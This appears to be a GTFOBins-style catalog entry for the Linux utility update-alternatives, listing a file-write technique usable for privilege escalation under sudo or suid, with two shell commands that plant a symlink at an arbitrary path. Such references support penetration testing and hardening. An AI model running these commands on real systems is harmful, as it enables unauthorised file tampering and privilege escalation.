CatalogGTFOBins

GTFO · Tool

update-alternatives

2 techniquesLinuxGTFOBinsGPL-3.0

file-write

File WritePrivilege EscalationLinux

Write in `/path/to/output-file` a symlink to `/path/to/temp-file`.

echo DATA >/path/to/temp-file
update-alternatives --force --install /path/to/output-file x /path/to/temp-file 0
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux

Write in `/path/to/output-file` a symlink to `/path/to/temp-file`.

echo DATA >/path/to/temp-file
update-alternatives --force --install /path/to/output-file x /path/to/temp-file 0
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-write
MITRE
T1565